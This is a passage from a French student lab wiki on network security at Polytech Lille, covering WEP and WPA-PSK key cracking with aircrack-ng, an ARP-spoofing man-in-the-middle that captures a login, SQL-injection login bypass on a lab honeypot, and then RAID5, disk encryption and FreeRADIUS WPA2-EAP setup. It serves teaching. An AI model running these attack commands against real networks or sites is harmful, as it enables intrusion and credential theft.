  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54715</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54715"/>
				<updated>2020-12-15T16:00:28Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Chiffrement de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
